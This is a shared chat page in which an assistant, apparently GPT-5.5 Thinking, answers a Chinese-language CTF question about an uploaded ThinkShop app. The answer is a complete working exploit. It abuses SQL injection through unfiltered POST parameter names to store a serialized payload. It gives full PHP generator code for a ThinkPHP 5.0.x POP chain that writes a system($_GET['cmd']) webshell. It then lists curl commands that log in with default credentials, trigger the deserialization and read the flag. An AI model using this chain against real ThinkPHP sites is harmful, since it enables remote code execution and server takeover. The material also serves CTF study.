分析一下反序列化漏洞列,给出如何获取flag信息?

Tạo vào: 26 tháng 5, 2026

Trả lời bằng GPT-5.5 Thinking bởi Chat01

Câu hỏi

thinkshop_app.zip

分析一下反序列化漏洞列,给出如何获取flag信息?

Suy nghĩ

undefined

Suy nghĩ

Planning the exploit explanation and presentation

I’m considering including code that generates and exploits without a huge payload. It’s important to write the final explanation in Chinese, detailing the vulnerability, the exploit chain (including each function call), and the steps involved. I'll also want to provide a Python skeleton, include actual commands, and mention safety considerations. I’ll need to include citations without raw URLs and reference previous articles for clarity.

Thought for 6m 21s

Trả lời

下面按这份 thinkshop_app.zip 的源码来分析,结论是:可以通过后台任意列名 SQL 注入把恶意序列化数据写入 goods.data,再访问商品详情触发 unserialize(),利用 ThinkPHP 5.0.21 POP 链写 WebShell,最后读 /fffflllaaaagggg 附件本地的 flag 文件内容是占位值:flag=FLAG;真实题目环境一般读取同路径文件即可。

1. 漏洞入口

触发点在两个模板里:

php
unserialize(base64_decode($goods['data']))

分别位于:

text
application/index/view/index/goods.html application/index/view/admin/goods_edit.html

Goods::getGoodsById() 只检查:

php
substr($data[0]['data'], 0, 3) !== "YTo"

这只是检查 base64 后是否以 YTo 开头,也就是序列化数组 a: 的 base64 前缀。绕过方式很简单:外层用数组包对象

php
base64_encode(serialize([恶意对象]))

这样 base64 一定以 YTo 开头,但数组内部仍然可以是对象。

ThinkPHP 5.0.x 的常见 POP 思路是通过 think\Model::__toString() 进入 toJson() / toArray(),再转到 think\console\Output::__call(),最终配合缓存驱动写文件;公开分析也指出 TP5.0.4–5.0.24 可使用这一类链条。(GitHub)

2. 如何把恶意数据写入数据库

后台账号在 shop.sql 中:

text
admin / 123456

后台更新商品时调用:

php
Update::updatedata($data, 'goods', $data['id']);

它对 value 做了 bin2hex(),但 没有过滤 POST 的 key

php
$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";

所以 POST 参数名可以注入 SQL。构造类似参数名:

sql
data`=unhex('PAYLOAD_HEX') WHERE `id`=1#

最终会把 goods.id=1data 列改成你的恶意 base64 序列化 payload。

3. 生成 payload

payload 目标:写入一个 WebShell:

php
<?php system($_GET["cmd"]); ?>

生成器示例:

php
<?php // gen_payload.php namespace think { abstract class Model implements \JsonSerializable, \ArrayAccess { protected $connection = []; protected $parent; protected $query; protected $name; protected $table; protected $class; protected $error; protected $validate; protected $pk; protected $field = []; protected $except = []; protected $disuse = []; protected $readonly = []; protected $visible = []; protected $hidden = []; protected $append = []; protected $data = []; protected $origin = []; protected $relation = []; protected $auto = []; protected $insert = []; protected $update = []; protected $autoWriteTimestamp; protected $createTime = 'create_time'; protected $updateTime = 'update_time'; protected $dateFormat; protected $type = []; protected $isUpdate = false; protected $replace = false; protected $force = false; protected $updateWhere; protected $failException = false; protected $useGlobalScope = true; protected $batchValidate = false; protected $resultSetType; protected $relationWrite; public function jsonSerialize(): mixed { return []; } public function offsetSet(mixed $a, mixed $b): void {} public function offsetExists(mixed $a): bool { return false; } public function offsetUnset(mixed $a): void {} public function offsetGet(mixed $a): mixed { return null; } } } namespace think\model { class Pivot extends \think\Model {} } namespace think\model\relation { class HasOne extends \think\model\Relation {} } namespace think\model { abstract class Relation { protected $parent; protected $model; protected $query; protected $foreignKey; protected $localKey; protected $baseQuery; protected $selfRelation; protected $bindAttr = []; } } namespace think\db { class Query { protected $connection; protected $builder; protected $model; } } namespace think\console { class Output { private $verbosity = 1; private $handle = null; protected $styles = ['info','error','comment','question','highlight','warning']; } } namespace think\session\driver { class Memcached { protected $handler = null; protected $config = []; } } namespace think\cache { abstract class Driver { protected $handler = null; protected $options = []; protected $tag; } } namespace think\cache\driver { class File extends \think\cache\Driver { protected $expire; } } namespace payload { function set_prop($obj, $prop, $val) { $ref = new \ReflectionClass($obj); while (!$ref->hasProperty($prop)) { $ref = $ref->getParentClass(); } $p = $ref->getProperty($prop); $p->setAccessible(true); $p->setValue($obj, $val); } $shell = '<?php system($_GET["cmd"]); ?>'; $prefix = base64_encode($shell); $file = new \think\cache\driver\File(); set_prop($file, 'tag', true); set_prop($file, 'options', [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => $prefix, 'path' => 'php://filter/convert.base64-decode/resource=./', 'data_compress' => false, ]); $sess = new \think\session\driver\Memcached(); set_prop($sess, 'handler', $file); set_prop($sess, 'config', [ 'host'=>'127.0.0.1', 'port'=>11211, 'expire'=>3600, 'timeout'=>0, 'session_name'=>'', 'username'=>'', 'password'=>'' ]); $out = new \think\console\Output(); set_prop($out, 'handle', $sess); set_prop($out, 'styles', ['info','error','comment','question','highlight','warning','getAttr']); $q = new \think\db\Query(); set_prop($q, 'model', $out); $rel = new \think\model\relation\HasOne(); set_prop($rel, 'query', $q); set_prop($rel, 'selfRelation', false); set_prop($rel, 'bindAttr', ['no_such_data_key' => 'x']); $pivot = new \think\model\Pivot(); set_prop($pivot, 'parent', $out); set_prop($pivot, 'error', $rel); set_prop($pivot, 'append', ['getError']); set_prop($pivot, 'data', []); $payload = base64_encode(serialize([$pivot])); echo $payload . PHP_EOL; echo "shell_path=/public/$prefix/3b58a9545013e88c7186db11bb158c44.php" . PHP_EOL; }

运行:

bash
php gen_payload.php

得到的第一行就是 PAYLOAD。然后转 hex:

bash
PAYLOAD='生成器输出的第一行' HEX=$(echo -n "$PAYLOAD" | xxd -p -c 256)

4. 利用流程

登录后台:

bash
curl -i -c cookie.txt \ -d 'username=admin&password=123456' \ 'http://目标/public/index.php/index/admin/do_login'

把 payload 写入 goods.data

bash
curl -i -b cookie.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary "id=1&name=a&price=1&on_sale_time=2023-01-01+00%3A00%3A00&image=a&data=x&data%60%3Dunhex%28%27${HEX}%27%29%20WHERE%20%60id%60%3D1%23=x" \ 'http://目标/public/index.php/index/admin/do_edit'

触发反序列化并写 WebShell:

bash
curl -i 'http://目标/public/index.php/index/index/goods/id/1'

读取 flag:

bash
curl 'http://目标/public/PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+/3b58a9545013e88c7186db11bb158c44.php?cmd=cat%20/fffflllaaaagggg'

如果是本地附件环境,/fffflllaaaagggg 的内容是:

text
flag=FLAG

真实远程题目中同样读 /fffflllaaaagggg,返回值就是实际 flag。

Chia sẻ Q&A này